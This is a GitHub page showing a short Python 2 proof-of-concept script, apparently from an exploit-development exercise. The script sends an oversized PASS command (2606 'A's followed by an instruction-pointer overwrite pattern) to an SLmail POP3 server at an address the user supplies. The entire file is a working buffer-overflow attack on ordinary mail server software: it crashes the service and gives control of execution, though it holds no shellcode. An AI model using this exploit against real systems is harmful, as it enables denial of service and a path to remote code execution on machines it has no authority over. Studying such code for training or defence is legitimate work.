forked from jessekurrus/slmailsploits
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc2.py
More file actions
26 lines (22 loc) · 640 Bytes
/
poc2.py
File metadata and controls
26 lines (22 loc) · 640 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
import time, struct, sys
import socket as so
bufferz = "A" * 2606 + "B" * 4 + "C" * 90
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 192.168.132.5 110" % sys.argv[0]
sys.exit()
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to SLmail...."
try:
s.connect((server,port))
s.recv(1024)
s.send('USER jesse' +'\r\n')
s.recv(1024)
s.send('PASS ' + bufferz + '\r\n')
print "\n[+] Completed."
except:
print "[+] Unable to connect to SLmail. Check your IP address and port"
sys.exit()